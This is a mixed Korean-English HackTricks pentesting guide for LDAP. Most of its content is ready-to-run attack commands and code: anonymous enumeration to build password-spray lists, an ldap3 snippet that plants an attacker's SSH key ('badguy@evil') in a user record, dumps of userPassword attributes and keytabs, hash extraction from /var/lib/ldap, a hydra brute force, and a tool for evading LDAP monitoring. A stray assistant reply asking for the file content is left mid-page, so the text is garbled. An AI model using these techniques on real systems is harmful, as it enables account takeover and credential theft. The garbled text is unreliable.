389, 636, 3268, 3269 - Pentesting LDAP
Reading time: 14 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
LDAP 디렉터리는 여러 서버에 분산될 수 있도록 구조화되어 있으며, 각 서버는 Directory System Agent (DSA)라고 불리는 디렉터리의 복제되고 동기화된 버전을 보관합니다. 요청 처리 책임은 전적으로 LDAP 서버에 있으며, 필요에 따라 다른 DSA와 통신하여 요청자에게 통합된 응답을 제공합니다.
LDAP 디렉터리의 구성은 최상단의 루트 디렉터리에서 시작하는 트리 계층 구조와 유사합니다. 이는 국가 단위로 분기되고, 다시 조직으로 나뉘며, 여러 부서나 그룹을 나타내는 조직 구성 단위(organizational units)를 거쳐 사람과 파일·프린터 같은 공유 리소스를 포함한 개별 엔티티 수준에 이릅니다.
기본 포트: 389 및 636(ldaps). Global Catalog (LDAP in ActiveDirectory)는 기본적으로 포트 3268에서 사용 가능하며 LDAPS의 경우 포트 3269에서 사용 가능합니다.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
LDAP Data Interchange Format
LDIF (LDAP Data Interchange Format)은 디렉터리 내용을 레코드 집합으로 정의합니다. 또한 업데이트 요청(Add, Modify, Delete, Rename)을 표현할 수 있습니다.
dn: dc=local
dc: local
objectClass: dcObject
dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization
dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev
dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales
dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
- 1-3행은 최상위 도메인 local을 정의합니다
- 5-8행은 1차 도메인 moneycorp (moneycorp.local)을 정의합니다
- 10-16행은 2개의 조직 단위(organizational units): dev와 sales를 정의합니다
- 18-26행은 도메인 객체를 생성하고 속성에 값을 할당합니다
데이터 쓰기
값을 수정할 수 있다면 정말 흥미로운 작업을 수행할 수 있다는 점에 유의하세요. 예를 들어, 자신의 사용자나 다른 사용자의 "sshPublicKey" 정보를 변경할 수 있다고 상상해보세요. 이 속성이 존재한다면, ssh가 LDAP에서 공개 키를 읽어오고 있을 가능성이 매우 높습니다. 사용자의 공개 키를 수정할 수 있다면, ssh에서 비밀번호 인증이 활성화되어 있지 않더라도 해당 사용자로 로그인할 수 있습니다.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Sniff clear text credentials
LDAP가 SSL 없이 사용되는 경우 네트워크에서 sniff credentials in plain text할 수 있습니다.
또한, 네트워크에서 MITM attack을 between the LDAP server and the client. 수행할 수 있습니다. 여기서 Downgrade Attack을 해서 클라이언트가 credentials in clear text를 사용해 로그인하도록 만들 수 있습니다.
If SSL is used 경우 위에서 언급한 것처럼 MITM을 시도하되 false certificate를 제시할 수 있습니다. 사용자가 이를 수락하면 인증 방식을 Downgrade하여 다시 자격 증명을 확인할 수 있습니다.
Anonymous Access
Bypass TLS SNI check
According to this writeup just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user:
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
LDAP anonymous binds
LDAP anonymous binds allow 인증되지 않은 공격자가 도메인에서 사용자 전체 목록, 그룹, 컴퓨터, 사용자 계정 속성 및 도메인 암호 정책과 같은 정보를 검색할 수 있습니다. 이는 레거시 구성이며, Windows Server 2003부터는 LDAP 요청을 시작할 수 있는 권한이 인증된 사용자에게만 허용됩니다.\ 그러나 관리자는 특정 애플리케이션에 대해 anonymous binds를 허용하도록 설정해야 했을 수 있으며, 그 결과 의도한 것보다 더 많은 접근 권한을 부여해 인증되지 않은 사용자가 AD의 모든 객체에 접근할 수 있게 만들었을 수 있습니다.
Anonymous LDAP enumeration with NetExec (null bind)
If null/anonymous bind is allowed, you can pull users, groups, and attributes directly via NetExec’s LDAP module without creds. 유용한 필터:
- (objectClass=*) to inventory objects under a base DN
- (sAMAccountName=*) to harvest user principals
Examples:
# Enumerate objects from the root DSE (base DN autodetected)
netexec ldap <DC_FQDN> -u '' -p '' --query "(objectClass=*)" ""
# Dump users with key attributes for spraying and targeting
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" ""
# Extract just the sAMAccountName field into a list
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
확인할 항목:
- sAMAccountName, userPrincipalName
- memberOf와 OU 배치 — targeted sprays의 범위를 정하기 위해
- pwdLastSet(시간적 패턴), userAccountControl 플래그(disabled, smartcard required 등)
참고: anonymous bind가 허용되지 않으면 일반적으로 bind가 필요하다는 것을 나타내는 Operations error가 표시됩니다.
유효한 자격 증명
LDAP server에 로그인할 수 있는 유효한 자격 증명이 있다면, Domain Admin에 대한 모든 정보를 덤프하기 위해 다음을 사용할 수 있습니다:
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Brute Force
Enumeration
자동화
이를 사용하면 공개 정보 (예: 도메인 이름): 을 볼 수 있습니다.
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Python
python으로 LDAP 열거 보기
다음과 같이 python을 사용하여 자격 증명 유무와 상관없이 LDAP을 열거할 수 있습니다: pip3 install ldap3
먼저 자격 증명 없이 연결을 시도해보세요:
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
이전 예제처럼 응답이 True이면 LDAP 서버에서 흥미로운 데이터(예: naming context 또는 domain name)를 다음에서 얻을 수 있습니다:
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN
명명 컨텍스트를 확보하면 더 흥미로운 쿼리를 실행할 수 있습니다. 이 간단한 쿼리는 디렉터리의 모든 객체를 보여줍니다:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
또는 ldap 전체를 dump:
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
windapsearch
Windapsearch 는 LDAP 쿼리를 이용해 Windows 도메인에서 사용자, 그룹, 컴퓨터를 enumerate 하는 데 유용한 Python 스크립트입니다.
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
ldapsearch
null credentials인지 또는 credentials가 유효한지 확인:
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839
만약 "bind must be completed"라는 메시지가 표시되면 자격 증명이 올바르지 않다는 뜻입니다.
다음을 사용하여 도메인에서 모든 것을 추출할 수 있습니다:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
추출 users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
추출 컴퓨터:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
I don't have the file content. Please paste the markdown from src/network-services-pentesting/pentesting-ldap.md (or the specific text you want processed) or clarify what you mean by "my info". Once you provide it, I'll extract/translate the relevant English text to Korean, preserving all markdown/html, tags, links, code and hacking terms as requested.
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
추출 Domain Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
추출 Domain Users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
추출 Enterprise Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
추출 Administrators:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
추출 Remote Desktop Group:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
비밀번호에 접근할 수 있는지 확인하려면 쿼리 중 하나를 실행한 다음 grep을 사용할 수 있습니다:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
Please, notice that the passwords that you can find here could not be the real ones...
pbis
다음에서 pbis를 다운로드할 수 있습니다: https://github.com/BeyondTrust/pbis-open/ 보통 /opt/pbis에 설치되어 있습니다.
Pbis는 기본 정보를 쉽게 얻을 수 있게 해줍니다:
#Read keytab file
./klist -k /etc/krb5.keytab
#Get known domains info
./get-status
./lsa get-status
#Get basic metrics
./get-metrics
./lsa get-metrics
#Get users
./enum-users
./lsa enum-users
#Get groups
./enum-groups
./lsa enum-groups
#Get all kind of objects
./enum-objects
./lsa enum-objects
#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\,\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done
그래픽 인터페이스
Apache Directory
Download Apache Directory from here. 이 도구 사용 예시는 여기에서 확인할 수 있습니다.
jxplorer
LDAP 서버가 포함된 그래픽 인터페이스는 여기에서 다운로드할 수 있습니다: http://www.jxplorer.org/downloads/users.html
기본적으로 다음 경로에 설치됩니다: /opt/jxplorer
.png)
Godap
Godap는 LDAP용 대화형 터미널 사용자 인터페이스로, AD 및 기타 LDAP 서버의 객체와 속성을 조작하는 데 사용할 수 있습니다. Windows, Linux 및 MacOS에서 사용 가능하며 simple binds, pass-the-hash, pass-the-ticket & pass-the-cert 등을 지원합니다. 또한 객체 검색/생성/수정/삭제, 그룹에 사용자 추가/제거, 비밀번호 변경, 객체 권한 편집(DACLs), Active-Directory Integrated DNS(ADIDNS) 수정, JSON 파일로 내보내기 등 여러 전문 기능을 제공합니다.

다음에서 확인할 수 있습니다: https://github.com/Macmod/godap. 사용 예제와 설명은 Wiki를 참조하세요.
Ldapx
Ldapx는 다른 도구의 LDAP 트래픽을 검사하고 변환하는 데 사용할 수 있는 유연한 LDAP 프록시입니다. LDAP 트래픽을 난독화하여 identity protection & LDAP monitoring 도구를 우회하려 시도하는 데 사용할 수 있으며, MaLDAPtive 발표에서 소개된 대부분의 방법을 구현합니다.

다음에서 얻을 수 있습니다: https://github.com/Macmod/ldapx.
Authentication via kerberos
ldapsearch를 사용하면 파라미터 -Y GSSAPI를 통해 NTLM 대신 kerberos로 authenticate할 수 있습니다.
POST
데이터베이스가 포함된 파일(예: /var/lib/ldap)에 접근할 수 있다면, 다음을 사용해 hashes를 추출할 수 있습니다:
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
비밀번호 해시('{SSHA}'부터 'structural'까지 — 'structural'을 덧붙이지 않고)를 john에 입력할 수 있습니다.
구성 파일
- General
- containers.ldif
- ldap.cfg
- ldap.conf
- ldap.xml
- ldap-config.xml
- ldap-realm.xml
- slapd.conf
- IBM SecureWay V3 server
- V3.sas.oc
- Microsoft Active Directory server
- msadClassesAttrs.ldif
- Netscape Directory Server 4
- nsslapd.sas_at.conf
- nsslapd.sas_oc.conf
- OpenLDAP directory server
- slapd.sas_at.conf
- slapd.sas_oc.conf
- Sun ONE Directory Server 5.1
- 75sas.ldif
HackTricks 자동 명령
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
참고자료
- HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin
- NetExec (CME successor)
- Microsoft: Anonymous LDAP operations to Active Directory are disabled
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks